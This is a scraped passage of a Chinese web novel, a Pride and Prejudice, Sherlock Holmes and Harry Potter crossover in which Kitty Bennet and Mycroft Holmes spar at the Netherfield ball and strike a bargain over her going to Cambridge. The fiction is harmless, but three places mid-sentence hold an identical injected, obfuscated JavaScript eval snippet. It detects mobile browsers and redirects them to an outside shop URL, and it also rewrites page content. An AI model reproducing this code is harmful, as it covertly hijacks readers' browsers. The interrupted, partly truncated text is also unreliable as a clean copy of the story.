然而,无论是凯瑟琳还是麦克罗夫特,他们的神情都似乎没有意识到两人之间的距离有多么暧昧。 凯瑟琳满意地跟着音乐的节奏顺势转开身。 终于能看清对方的眼睛了,终于,他要提到关键话题了。 麦克罗夫特握着凯瑟琳的手,看着她在身前转出一个漂亮的圆圈,裙摆上的金色橄榄叶刺绣在灯光下闪烁如星。 可惜,他的注意力并不在这条美丽的裙子上。 “我有这个荣幸知道,前两支舞你是和哪位绅士跳的吗?” “我说了,我不记得了。” “距离上一次梅里顿的舞会,也不过两个月而已。” 这还真不是凯瑟琳故意不说,她是真的不记得了。那晚的舞会,她跳得机械又麻木,像个大厂流水线上的牛马;程序完成了,但若要她回忆每一步的细节,好像都只是重复的模板,只是换了不同外壳的男士罢了。 “我没必要撒谎,福尔摩斯先生。” 麦克罗夫特对上凯瑟琳此刻略显真诚的眼神,便知道她的确不记得了,或者说她压根没上心。 “我想大多数女士都会记得舞会上和自己跳了前两支舞的舞伴是谁,不是吗?” “也许吧。” “虽然我一直认为情感是干扰判断的因素,但似乎不少爱侣都乐于在舞会上定情。这样的社交场合若发生什么异于寻常的事,必定会格外引人注目,并且往往会记忆深刻,不是吗?” 最后一组分开再靠近的走位。 凯瑟琳重新握上麦克罗夫特的手,但这一次,她没有继续跳下去,而是站定原地。 她微微仰头,绿色的眼睛直直望着面前的舞伴。 “你说得对,福尔摩斯先生。你还有什么疑问吗?” 麦克罗夫特稍稍低头,与她对视。那双一贯锐利的灰眸此刻愈发沉静冰冷,仿佛刚才与她低声交谈的温和绅士,只是一层假象。 “你知道西奥多·威廉·沃克吗,凯瑟琳小姐?” “有些耳熟,不过我想我应该不认识。他是谁?” “他受雇于梅里顿镇的卡特莱特爵士——也是上一次梅里顿舞会时,当众暴毙在宴会厅外的车夫。” 恰在这一瞬,第一支舞曲结束。 麦克罗夫特松开凯瑟琳的手,两人互相行礼,然后各自转身离开舞池。 凯瑟琳觉得自己的心跳,在这一支舞后竟微微加快。 与麦克罗夫特握过的那只手此刻有些酥麻,她动了动手指。 不远处,伊丽莎白甩开柯林斯,快步追上她。 “凯蒂?凯蒂?凯蒂!” 在伊丽莎白叫了几声后,凯瑟琳才回过神来。 她转头看向伊丽莎白,后者正带着担忧注视着她。 “你还好吗,凯蒂?” “还好。” 不,一点也不好。 或许是这段时间太忙,让她大意疏忽了那场事故中唯一的死者。 她千算万算,也没想到麦克罗夫特居然从这个方向入手调查。 魔法事故和灾害司在处理死者的善后工作时,她根本不在场,事后也没有及时过问细节。她从头到尾都不知道那位可怜的车夫全名叫什么、死在了哪个位置、被安排了什么死因。 遗忘咒与记忆混淆咒让当时在场的所有人都像是彻底忽视了这位车夫的死亡一般。梅里顿舞会之后,哪怕是在茶余饭后的闲暇时间里,整个乡镇都无人再提起他。 凯瑟琳无奈地闭了闭眼,懊悔当初施咒时做得太过完美,天衣无缝到了违反常理的程度。 麦克罗夫特的提问,简直让她措手不及。 早知道,当时就该逮着加雷斯问个清楚明白。 她回头看去,麦克罗夫特早已换上那副得体的社交假笑,正在和班内特先生闲谈。而班内特先生身边站着的班内特太太,喜笑颜开地不时搭上几句话。 似乎察觉到了凯瑟琳的目光,班内特太太立刻回望过来,笑容更灿烂了。 猜都不用猜,就知道班内特太太肯定是以为她对麦克罗夫特“恋恋不舍”呢。 可凯瑟琳此刻只觉得那男人不仅心思深沉,还敏锐得可怕,让人背脊发凉。 伊丽莎白虽不清楚凯瑟琳究竟发生了什么,但也察觉出了她的异样。她从侍从托盘上取下一杯香槟,递过去。 “谢谢。” 凯瑟琳接过酒,仰头一饮而尽。 伊丽莎白皱眉:“凯蒂,你刚才还让我慢点喝呢。这样喝,会醉的。” “我没事,我不会醉。” 她的酒量一向极好,千杯不倒。这一小杯香槟,对她而言和果汁没有区别。 “你到底怎么了?”伊丽莎白顺着她的视线看去,“是和福尔摩斯先生跳舞时吵架了吗?你们看起来配合得很好,比我和柯林斯先生默契多了。” “不,不,”凯瑟琳在空椅子上坐下,“我们什么事也没有。” 这让伊丽莎白更不解了,“那到底是怎么了?” 凯瑟琳顿了顿,握上伊丽莎白的手,抬眼看着她,声音有些低沉:“莉兹,你知道上次在梅里顿舞会时,有一个车夫在宴会厅外因病暴毙吗?” 伊丽莎白先是被这可怕的消息吓得瞪大了眼睛,片刻后似乎想起了什么,点了点头:“好像是有这么一回事儿。” “你是怎么知道的?” “怎么知道的……”伊丽莎白皱起眉,努力回想,半晌也没能想出个确切的人来,“不记得了,应该是当时舞会上有人喊了一声吧?也可能是我在和夏洛蒂聊天时,她告诉我的。你知道的,那次舞会卢卡斯爵士十分重视,好多细节都是他亲自操办的。” “那你知道死去的车夫是谁吗?” “这我就不知道了,大概是梅里顿哪户乡绅爵士家的车夫吧。” 凯瑟琳松开了伊丽莎白的手,神情渐渐沉下去,像是自言自语般轻声道:“是卡特莱特爵士的车夫……” 伊丽莎白还想说些什么,但她的朋友夏洛蒂已经在叫她了。 “有什么事就来找我说,好吗,凯蒂?” 凯瑟琳对着伊丽莎白露出一个微笑:“我知道了,莉兹。去吧,夏洛蒂在喊你了。” 麦克罗夫特仍在与班内特夫妇交谈,也不知说了什么,惹得两人笑得前仆后继。 凯瑟琳盯着那道高大的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611934|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,心里暗暗腹诽,这人真是演技了得,扮人像人,扮鬼像鬼。 她甚至毫不怀疑,只要他愿意发挥情商,从三岁小孩到八十老翁,他都能应付得游刃有余。 要不然……等他摊牌提到任何与魔法有关的字眼时,直接给他一个遗忘咒算了,既省事又省心。 凯瑟琳纠结地咬了咬嘴唇。 那边,正与班内特先生聊着伦敦政界趣闻的麦克罗夫特,感受到背后那道灼热的视线。 他不用回头就知道,一定是来自凯瑟琳的。 看来,自己确实问到了要害。 能让那位雷厉风行又事事追求完美的凯瑟琳小姐如此难受,也不容易。 麦克罗夫特在心里这么想着,不由轻笑出声。惹得班内特先生疑惑地看了他一眼,他只得轻咳两声掩饰。 “您的话让我想起了一位首相先生,听说他在觐见女王陛下时闹过笑话。” 班内特先生来了兴趣:“什么笑话?” 麦克罗夫特笑道:“据我的同僚所言,女王陛下对威廉·格莱斯顿先生的印象不佳,因为他觐见时举止缺乏礼仪分寸。女王陛下评价他‘对女王说话,就像在公众集会上演讲。’”*1 班内特太太虽不关心政治,但这并不妨碍她以另一个看问题的角度加入话题。 “福尔摩斯先生,你一定有许多了不起的同僚吧?我听说,你是首相的近臣。” 麦克罗夫特谦虚道:“鄙人只是首相麾下微不足道的一名私人秘书,负责部分政府事务。” 班内特太太自然听得出他在自谦。虽不懂政府架构,但她知道,能做到首相近臣的位置,绝非寻常人物。 “福尔摩斯先生来自哪里呢?” “我的家族是约克郡的普通乡绅。” “家中几口人?” “我是长子,还有一位小七岁的弟弟。” 班内特太太不由羡慕,她的嘴一向没把门,“两个儿子的乡绅家庭真好,不像我们家——唉,总为继承的事操心。” “班内特家的小姐们都是得体有教养的年轻女士。” 这话班内特太太爱听,笑得更欢:“是的,是的!尤其是我的凯蒂。她从小就聪明伶俐,要不是她坚持,我和班内特先生可能就放弃给女儿们请家庭教师了。现在,我的五个女儿都受过良好教育,是乡镇里出了名的才女美人……” 麦克罗夫特点头赞同。 难得碰上这样耐心倾听的年轻绅士,班内特太太越说越高兴,恨不得他明天就成为女婿。 “福尔摩斯先生今年贵庚?可曾订婚?” “我今年二十四岁,还是个单身汉。” 班内特太太心头一动,笑道:“比凯蒂大六岁,是个极好的年纪。” 麦克罗夫特暗暗好笑,幸好凯瑟琳不在旁边,否则这场面她怕是又要尴尬得一塌糊涂。 “咳咳。”班内特先生罕见地出声制止了妻子的热情。 他越过麦克罗夫特,望向那边坐着的凯瑟琳:“第二支舞快开始了。希望你和凯蒂跳得愉快,福尔摩斯先生。认识你很高兴,若有闲暇,请一定来朗博恩做客。” 麦克罗夫特颔首:“我的荣幸,班内特先生。” 说罢,他转身朝凯瑟琳走去。 乐手们正在更换曲谱,调整乐器。 人群中,约好的男男女女正挽手向舞池中央聚拢。 麦克罗夫特走到凯瑟琳面前,向她伸出手: “第二支舞要开始了,凯瑟琳小姐。” 22.第 22 章 两人在沉默中跳完了第二支舞。 舞曲结束,凯瑟琳给自己的舞伴行了一礼。 “福尔摩斯先生,可以陪我到室外呼吸一下新鲜空气吗?” “乐意至极。” 麦克罗夫特曲起自己的右臂,凯瑟琳顺势挽了上去。 他们绕开人群,穿过长廊,跨出雕刻精美的拱门,来到了尼日斐花园小巧的温室花棚中。 这里是尼日斐花园的主人为了冬日也能观赏鲜花而打造的。宾利住进来后,亦十分喜爱这处,因此不仅保留了所有鲜花盆栽,还特意多添了几盆品种珍惜的蔷薇花。 麦克罗夫特点亮了花棚中的两盏煤油灯。回过头时,凯瑟琳已经地站在蔷薇花盆栽前。 她似是在欣赏着面前这几朵开在深秋初冬温室里的鲜花。两盏煤油灯无法将整个温室照亮,光晕却映出了她的侧脸,暖黄色的柔光下这位年轻秀丽的小姐显得格外娴静文雅。 麦克罗夫特的心里甚至冒出了一个有些荒唐的想法,若凯瑟琳真的是危险人物,那也是一个极其善于伪装的蛇蝎美人。 当然,凯瑟琳并不知道身边的男人此刻在想什么,她只是盯着一朵饱满绽放的橙色蔷薇花,思忖着一会儿要是对麦克罗夫特施咒,是不是在温室外加一个麻瓜驱逐咒或者隔音咒会比较保险。 “Gloire de Dijon.” 凯瑟琳转头:“什么?” 麦克罗夫特行至她身边,看向她刚刚一直盯着出神的花,“1853年在法国培育而成的蔷薇花,以茶香和大花型著称。宾利倒是不惜成本,愿意在租住的庄园中摆上这么多盆。” “若是我能年收入五千英镑,我大抵也愿意生活得如此闲情逸致。” “凯瑟琳小姐也有做不到的事情吗?” “为什么是疑问的语气,我当然不是全能的。我只是一个普通人,福尔摩斯先生。” 麦克罗夫特笑笑:“看来有些事情你确实无法和我说明。” 和聪明人说话就是这么简单。 凯瑟琳点点头:“机密之所以是机密,必然是有其需要保密的原因。并非所有的真相大白都是最好的结局。” “那么你的建议是什么呢,凯瑟琳小姐?” “装傻充愣,我相信你能做到,福尔摩斯先生。” 麦克罗夫特笑得有些无奈:“可我的职责所在就是知晓全英国的机密,凯瑟琳小姐。” 凯瑟琳装作听不懂:“噢?你不是首相先生麾下一名微不足道的小小秘书而已吗?” “国家机器的运转依赖无数细微的螺丝,而其中某些螺丝的位置,正是维系整个体系正常运行的关键。” “事非偶然,由来已久。既然尚且安全,又何必要窥探底细呢?” “事情若非可控或知全貌的,又谈何安全?” 凯瑟琳沉静了片刻,“首相先生是怎么和你说的?” 只要麦克罗夫特开口说出任何一个和魔法相关的字眼,她就直接抽出魔杖给他一个遗忘咒。 麦克罗夫特有些惊讶,似乎是没想到她问了这个问题。 他回忆起伦敦下雨的那个下午,在被传唤到首相办公室后,一向沉着稳重的首相先生脸色极差。他原以为是欧洲大陆地缘政治的风云变幻捎来了什么坏消息,却没想到首相开口第一句话就是让他想办法以私人名义到梅里顿暗查,期间不可以让任何人知道他来访的真实目的。 “我什么也不能告诉你,半个字也不能。” “你只管去到梅里顿,用你那敏锐的洞察力和聪明绝顶的大脑,探查出真相。” “请务必要注意自身安全,福尔摩斯。” 首相先生敛容屏气,神情严肃。 这真是麦克罗夫特职业生涯中最莫名其妙的一次出差,他几乎是带着满头雾水和零个线索出发前往梅里顿。 第二天,他托人打听到了宾利最近正在梅里顿附近的尼日斐花园中租住,于是便写了一封信给一年前在某个政经社交场合认识的宾利;信中除了表达问候之外,还特意提到了自己近日将要休假,正在为度假的地点选择在哪里而发愁。 果不其然,信寄出去后,很快就收到了一封来自尼日斐花园的度假邀请信。 宾利和他的关系说不上太熟,但自从一年前,他在宾利面前展示过一次推理演绎之后,这位热情又好心肠的绅士对他的能力十分崇拜。 知道麦克罗夫特没有马车,宾利还拉上达西一块到伦敦来接他,并将达西也介绍给他认识。 来到尼日斐花园这半个月,他来回跑了好几趟梅里顿。托了宾利四处做客的便利,他到了许多当地的乡绅爵士家中走访。这场毫无头绪的调查才渐渐有了些眉目。 麦克罗夫特一贯信奉理性、科学和逻辑,当意识到这起调查愈发魔幻的时候,他曾一度陷入过自我怀疑。 可他知道,排除了所有不可能之后,真相即便再超现实也是真相。 他看着面前这位尚且无法确定是否是危险人物的年轻小姐,摇了摇头。 “首相先生什么也没有告诉我。” 凯瑟琳将信将疑:“那你来尼日斐花园的目的是什么?” 麦克罗夫特一副信不信由你的样子:“休假。” 凯瑟琳:“……” 信他的鬼话。 “你们明知道秘密泄露后,他们有的是办法让一切回归原样,还如此想要知道真相,意义是什么?” “凯瑟琳小姐,你知道为什么两国建交需要双边政府做出官方承认与建交声明吗?” 凯瑟琳对政治并不算了解,她摇头。 麦克罗夫特接着道:“因为主权的互相承认,是国际法意义上国家关系成立的前提条件。没有这一环节,任何往来都只能停留在民间层面,无法构成合法的外交关系。任何单方面的靠近,都只是侵犯,而不是联盟。只有在彼此承认对方主权之后,交流才不被视作冒犯。” “我想首相先生的本意也并不是挑衅或撕毁协议,他只是试图寻求一个更平等的双边交流关系。我并不知道——‘他们’——是谁,又有什么能力或者诉求。但不论如何,类似梅里顿舞会的事件发生时,我们并不想永远做一个蒙在鼓里的被动者。” “我相信你有能力使双边关系得以改善,凯瑟琳小姐。” 凯瑟琳:“……” 说了这么一大串话,他还真的没提到和魔法相关的字眼。 “你太高看我了,福尔摩斯先生。我也只是一个无足轻重的小人物罢了。” “我相信你会有办法的,凯瑟琳小姐。诚如我一直所说,你是一个聪明的女士。” 到底是多厚实的脸皮,才能说出这样的话来。 现在两人几乎已经算是摊牌的状态,都不必再在对方面前伪装了。 凯瑟琳没好气地瞪了一眼麦克罗夫特:“我只是一位刚刚成年的乡绅家小姐,没有如此强大的能力和权力影响双边关系。” 麦克罗夫特只是重复道:“你会有办法的。” 凯瑟琳:“……” 大哥,你是复读机吗? 麦克罗夫特静静地注视着凯瑟琳,他没有催促,耐心地等待她的答应。 这是一个大胆的赌博。 实际上,麦克罗夫特也拿不准这样做到底是不是对的,毕竟两方本身就是不平等的关系。他手里的线索又太少,并不足以用来作为谈判的条件。 更不要说他现在其实还没有明确知道对方究竟是什么身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622457|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他只是在用理性的直觉来寻求一个凯瑟琳的主动妥协。 幸运的是,他赌对了。 “我需要时间。” “而这正是我所拥有的。” 凯瑟琳双手抱臂,看麦克罗夫特这副游刃有余的样子颇不顺眼,“你猜到我的身份了?” 麦克罗夫特摇头,诚实回答:“没有。” “你不害怕我伤害你吗?” “我必须向你坦诚,我确实担心过你会对我造成伤害。” “那你还这么莽撞地离开人群,到这里与我单独谈话?” “虽然有些失礼,但是在和你跳舞的时候,我已经确定了你的身上没有携带任何武器。” 凯瑟琳更不爽了,感情她跳舞时凑近,是为了观察对方的神情反应;而对方搂她搂得那么紧,也是为了确认她身上有没有藏武器。 两场舞下来,两个人的心眼子加在一起,恐怕比整个舞会的宾客人数还多。 “万一我把武器藏在了你摸不到的地方呢?” 麦克罗夫特从后腰掏出一把左轮手枪,“那么我携带了自卫的武器,凯瑟琳小姐。” 凯瑟琳:“……” 太可惜不能告诉麦克罗夫特她真正的武器是什么了,她好想要看他惊掉下巴的表情啊。 凯瑟琳觉得没趣,也不想再端着和麦克罗夫特打太极周旋了。 她突然想要回去吃小蛋糕,于是开口道:“闭眼。” 麦克罗夫特罕见地没反应过来:“什么——” 眼前便骤然一黑。随之而来感受到的是凯瑟琳掌心的温热,以及手腕间若有若无的玫瑰香气。 当视线重新聚焦时,温室两端的两盏煤油灯,已悄然熄灭。 “别紧张,我不会伤害你。” 凯瑟琳转身走出温室,麦克罗夫特随即跟上。 “我猜我不被允许知道这是怎么做到的,是吗?” “当然。” 魔法部有法律条例规定不可以被麻瓜看见施咒,她也只是打了个擦边球。虽然当着麦克罗夫特的面施了无声咒,但他可没有看见施咒过程。 麦克罗夫特心里却生出一丝后知后觉的侥幸,“你真是一位心地善良的女士,凯瑟琳小姐。” 凯瑟琳“哼”地冷笑了一声。 麦克罗夫特:“我想你并不害怕十字架或者银制品。” 他注意到班内特太太戴着银质的十字架项链。想来班内特家应该有信教的传统,家里也会有圣经,周末也会去教堂做礼拜,就像绝大多数的英格兰家庭一样。 “你以为我是什么?吸血鬼或者狼人吗?” “中世纪时期,教会也会用十字架等圣物来驱散女巫或恶灵。” 凯瑟琳:“……” 还真被蒙对了一半,但是—— “为什么我非得是一个广义上‘邪恶’的形象?” “我绝对没有想要诋毁你的意思,凯瑟琳小姐。” 凯瑟琳撇了他一眼:“真的吗?” 麦克罗夫特无奈:“我以我的一切向你发誓。” 凯瑟琳敷衍:“行。” 麦克罗夫特真诚道:“当然,我很感激你接受了我的……” 然而话音未落,两人就和从转角盥洗室出来,正要返回舞会的班内特夫妇撞了个正着。 凯瑟琳惊:“爸爸?妈妈?” 显然只听到了最后两段话的班内特太太,一手抓着自己丈夫的手臂,一手捂着胸口,激动地高声道: “Jesus Christ!凯蒂,福尔摩斯先生,你们都已经求婚了?!” 凯瑟琳:“……” 梅林的袜子,现在这个情况能对自己父母用遗忘咒吗?急。 23.第 23 章 尼日斐花园的主楼内,舞会已进入最热闹的阶段,乡村舞曲与欢声笑语交织在高挑的穹顶下,光影流转。 而在室外的花园里,夜风带着深秋的气息轻轻拂过,远处的月光透过枝叶散落在地上。 四人正立在草坪边的石子路上,脚下碎石在鞋底细微地作响,与屋内的喧闹隔着一道夜色。 事情要从五分钟前说起—— 班内特太太误以为凯瑟琳与麦克罗夫特已情定终生,情绪激昂地在走廊中高声尖叫,几乎连吊灯都为之震颤。 “妈妈,小点声。”凯瑟琳竭力让她冷静下来。 然而无济于事。 偶有路过的舞会宾客纷纷侧目,好奇这里发生了何事。 凯瑟琳意识到这里绝非说话的好地方,立刻上前握住母亲的手,强行将仍在激动中的班内特太太带离走廊。 一路穿过长廊,夜风扑面而来,她在花园的石子路上停下脚步。但依旧紧紧攥着母亲的手,努力让已经开始幻想婚礼在哪里举办的班内特太太保持镇定。 班内特先生与麦克罗夫特默然跟在两位女士身后,气氛一时之间微妙而尴尬。 当然,班内特太太不算,她还沉浸在选什么款式的婚纱的纠结中。 凯瑟琳:“妈妈,我们不是你想的那样。” 班内特太太怔愣一瞬:“什么意思?” 凯瑟琳:“我们没有求婚。” 班内特太太不愿相信:“你跟我开玩笑呢?” 凯瑟琳只得用眼神示意麦克罗夫特快开口解释。 “班内特太太,”麦克罗夫特斟酌着道,“我和凯瑟琳小姐,确实没有求婚。” “你们……”班内特太太的情绪陡然坠落,几乎无法接受,“那你们刚才到底在说什么?” 麦克罗夫特解释:“我们就某件事情达成了共识,我只是感激她能接受我的……” “接受他的拒绝!” 凯瑟琳突然打断麦克罗夫特的话,在其他三个人神色各异的目光中,面不改色心不跳地开始演戏。 “我今夜已经向福尔摩斯先生表明了心意。但我们都明白,有太多现实的障碍横亘在我们之间,跨过那些阻碍几乎是不可能的事。” 班内特太太面露疑惑:“障碍?什么障碍?” 凯瑟琳:“……” 妈妈,这种时候就不用这么敏锐了。 凯瑟琳继续哀伤:“我们之间有太多难以解释的障碍,妈妈,恕我无法强忍悲痛和您一一诉说。总之,为了我们都能不再受爱情的折磨,他已经心怀仁慈地拒绝了我。” 麦克罗夫特:“……?” 戏来得太快,他有点接不上剧情的发展。 班内特太太震惊得瞪大双眼,仿佛眼前这位彬彬有礼的绅士,忽然成了负心薄幸的渣男,转头就找了这样冠冕堂皇的理由抛弃了自己的女儿。 “福尔摩斯先生?How dare……” 凯瑟琳生怕班内特太太再多说两句话,这爱情戏就要编不下去了。她连忙搂住母亲的肩膀,把她带到父亲身边。 抬眼就对上了班内特先生复杂的眼神,凯瑟琳只能干笑两声,“爸爸,请把妈妈带回去吧。我和福尔摩斯先生还有一些话要说。” “凯蒂,你真的很爱他?” “……是的,爸爸。” 这句话几乎是她咬着牙说出的。但在班内特先生听来,却像是女儿在竭力掩饰悲伤的坚强。 “好吧,既然你坚持。” 班内特先生轻轻揽了揽女儿的肩膀,低头在她发间落下一吻,然后带着班内特太太离开了花园。 凯瑟琳目送父母远去的背影,才转身面对麦克罗夫特。 “凯瑟琳小姐,需要解释一下吗?” 这短短的一分钟内,麦克罗夫特在心里推翻了几十种可能性,他怎么也想不出凯瑟琳这么做的理由。 他当然想不出,因为这个荒诞的想法不仅跳脱出了当下的社会规则框架,甚至是刚刚才在凯瑟琳的脑海中成型。 “我需要你的帮助。” “这一点我能想到。那我想不到的部分呢?” “我需要一个伪造的合法身份。” 麦克罗夫特沉默。 凯瑟琳接着道:“我打算去上大学。” “伦敦大学接收女性学生,你不需要伪造身份。” “我要去剑桥大学。” “剑桥大学的格顿学院和纽纳姆学院也都接收女学生。” “你知道我的意思,福尔摩斯先生。” 麦克罗夫特提到的两所剑桥大学的学院,都在19世纪后半叶开始接收女性学生。 只是虽接收女性,却仍受限重重。她们能学习、能考试,却无法获得正式学位,这样的情况一直到1948年才得以改变。 而1899年的现在,若一名女性想进入剑桥主流学院,成为真正的学者,无异于异想天开。 “你想去哪一个学院?” “圣三一学院或者冈维尔与凯斯学院,学习Natural Sciences Tripos(自然科学专业课程,可以理解为理科体系),主修化学。” 剑桥大学已是英国最负盛名的大学之一,到二十世纪初,在自然科学领域几乎无人能出其右。 圣三一学院历来是剑桥科学的旗帜,师资雄厚,孕育出牛顿、麦克斯韦等卓越学者;而冈维尔与凯斯学院则在医学与生命科学领域独树一帜,尤擅医药化学与实验科学。 凯瑟琳若想要继续主攻化学或者相关的研究领域,这两所学院无疑是最好的选择。 “圣三一……化学……”麦克罗夫特像是想到了什么,嘴角上扬,“真巧,我认识一个人也将在明年入读圣三一学院,主修化学。” 凯瑟琳疑惑:“谁?” 他只是摇头,轻轻一笑,避而不答,转而道:“你想要伪造一个合法的男性身份,对我来说确实不是难事。但是你要怎么改变你的生理形象?” “我有我的办法,这对我来说也不是难事。” “你要如何申请?” “有了伪造的身份后,参加考试。” “剑桥大多数学院入学考试在次年三四月份,这不是眼下最重要的事情。现在已经十一月了,你的入学申请和推荐信准备好了吗?” “……还没有。” “我可以为你伪造一个合法的男性身份,同时为你写一封推荐信。” “交换条件是什么?” “申请截止时间在明年一月份,我希望那也是我们之间约定的截止时间。” “Capital!” 凯瑟琳朝对方伸出右手,麦克罗夫特回握。 掌心温度交错间,绸缎礼服手套丝滑而略带冰凉。麦克罗夫特松开手时,手指微微颤动,那丝寒意似乎仍残留在指尖的皮肤上,挥之不去。 远处舞会仍在进行,乐声被距离阻隔,只剩下朦胧的回响,像是夜色里的低语。 风从远方吹来,带着深秋夜晚的清冷。凯瑟琳的裙摆被风卷起一角,礼服上金色的橄榄叶刺绣在月下流光溢彩,仿佛夜幕的星辰。 麦克罗夫特下意识地要脱下外套,她却轻轻摆手,制止了他的动作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626384|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“冬季要来了,凯瑟琳小姐。”麦克罗夫特语气中带着淡淡关切,“如果你不接受我的外套,即便我们现在回到温暖的室内,明日清晨你也极可能因这场秋风伤寒。” 凯瑟琳早已在感到寒意时,悄悄给自己施下了无声的防寒咒,将寒意隔绝在体表之外。 “放心吧,我没有那么容易就会伤寒。” 两人并肩走回长廊。 “这也是你们的能力吗?” “算是吧。” “你们也能感知冷热吗?” “当然……我以为你会问更有深度的问题。” “我也不是‘那么的’聪明,凯瑟琳小姐。” “太谦虚也是一种傲慢,福尔摩斯先生。” 又一阵秋风吹过,比先前更为张扬。 凯瑟琳的裙摆再次被风卷起,飘逸的绸缎如一抹翻涌的白浪,在夜色中轻轻扬起又落下。 一角纯白的裙边,恰好轻柔滑过麦克罗夫特熨帖合身的黑色西裤上,留下一瞬若有若无的触感。 麦克罗夫特若有所思地望着那一抹白,嗓音不自觉地低了些:“你确定真的不需要我的外套吗?” “不管需不需要你的外套,我都不会伤寒。但若是你的外套给了我,你伤寒的概率一定比我不穿外套伤寒的概率要大。” 麦克罗夫特失笑,微微摇头,“好吧,不怕冷的凯瑟琳小姐,那你的入学考试准备得如何了?” “说实话,还没开始。” “留给你的时间可不多了。需要帮忙吗?” “当然,我很需要你的帮忙。”凯瑟琳向来不是推三阻四的人,若麦克罗夫特愿意出手,她自然乐意接受,“你也是剑桥毕业的吗?” “是的,圣三一学院,主修数学,辅修法律。” 虽早知麦克罗夫特的学识背景一定不凡,但凯瑟琳仍忍不住“哇”了一声,非常词穷地赞叹道:“You’re…uh…amazing.” 麦克罗夫特嘴角几乎不可察地一动,对这个并不高级的称赞难以言状,随即又问:“你似乎还没回答我的问题,为什么要对班内特先生和班内特太太撒谎?” “我需要一个理由,说服母亲让我离开家三四年的时间。” 凯瑟琳不想再一次在家人身上使用遗忘咒或是记忆混淆咒了。记忆类咒语长时间反复施咒,有可能会对被施咒的人产生副作用。若是能有合理的借口,那一定是比魔法更好的选择。 麦克罗夫特挑眉,语气微妙:“你……是想用我当借口?” “没错,一个为爱痴狂、执着又专情的女人,为了追求心仪的绅士,独自远赴他乡。放弃和其他男人的婚姻,甘心去做他的秘书或者文员,成为他事业成功背后默默奉献的女人,只为了能与心爱之人日日相见、朝夕相伴。多么完美的理由,不是吗?这已经足够解释一切。” 麦克罗夫特:“……” 他不是无话可说,只是短暂地怀疑,自己是否该为被卷入如此戏剧性的情节而发笑。 两人穿过长廊,重新回到了舞会。 就在凯瑟琳抬步要踏入宴会厅时,麦克罗夫特忽然伸手拉住了她的手臂。 他似乎在斟酌该不该开口,片刻后才缓缓说道:“班内特先生和班内特太太对我的看法……” 凯瑟琳转头看了他一眼,眼中闪过一丝笑意。 她拍了拍他的手背,语气轻快:“别担心,你大概不会经常见到他们的。至于他们对你的看法——那不会影响你的生活和工作。 若你真介意,将来在合适的时间,我会找个机会告诉他们,你不是个渣男。” 24.第 24 章 尼日斐花园舞会结束时,班内特一家是最后离开的。 凯瑟琳趁着所有人的注意力都在简和宾利身上,悄悄拉过麦克罗夫特低声问:“你还要在尼日斐花园待多久?” 麦克罗夫特:“我的假期还有一周。” 凯瑟琳大喜:“太好了,明天你是否有空?” 麦克罗夫特:“我大约会睡到中午才起床,所以两点钟之后我是自由的。” 这真不怪他赖床,舞会结束已经是凌晨三点半,班内特一家还得等待马车来接送,等到将所有宾客送走之后,尼日斐花园的众人恐怕最快也要到凌晨四点半才能上床睡觉了。 凯瑟琳点头:“两点半的时候,在朗博恩后面的树林见。我带你去一个地方。” 麦克罗夫特应道:“好。” 第二天,凯瑟琳睁开眼时,太阳已经升至正午。 她揉着还水肿的双眼,迷迷糊糊地拉了铃,希尔太太很快便端着洗漱的脸盆和温水进来。 “早,希尔太太。” 希尔太太将手里的东西放在架子上,打湿毛巾递给坐在床上的凯瑟琳,笑道:“现在可不是早晨了,凯瑟琳小姐。” 凯瑟琳接过毛巾擦脸,“现在几点了?” “已经是中午一点半了。” “噢……”凯瑟琳按了按太阳穴,无奈道,“我凌晨五点才睡下。” 希尔太太拿回毛巾,又给凯瑟琳递了漱口水和空盆:“我知道,先生和太太将近凌晨五点半才睡下,你已经是整个家里醒得最早的人了,凯瑟琳小姐。我想他们都要睡到下午三点才会起床。” “真的吗?” 那可真是太好了,她现在出门就不会有人看见,也不会被问出门做什么了。 希尔太太:“你想吃些什么,凯瑟琳小姐?厨房已经做了水煮蛋和炸薯块,我今早还买了些牛角面包,配上新做的黄油,会非常美味。” “这些就很好了,希尔太太。” 凯瑟琳在英格兰活了两世,差不多已经把食欲这种人类本能进化掉了。 上一世,她还能在伦敦街头寻到几家像样的中餐馆;而在这一世,她已彻底放弃挣扎,学会了以一种几近机械的平静,去接受当地人的美食文化。 多亏班内特先生理财有道,虽说家中收入不算宽裕,朗博恩的早餐桌上仍时常能见到几样不那么英式的食物。没有天天早上吃茄汁黄豆已经是她的福气,凯瑟琳想着,她要懂得满足。 洗漱完毕,她从床上起身,走向衣柜,随手挑出一套卡其色步行裙换上。 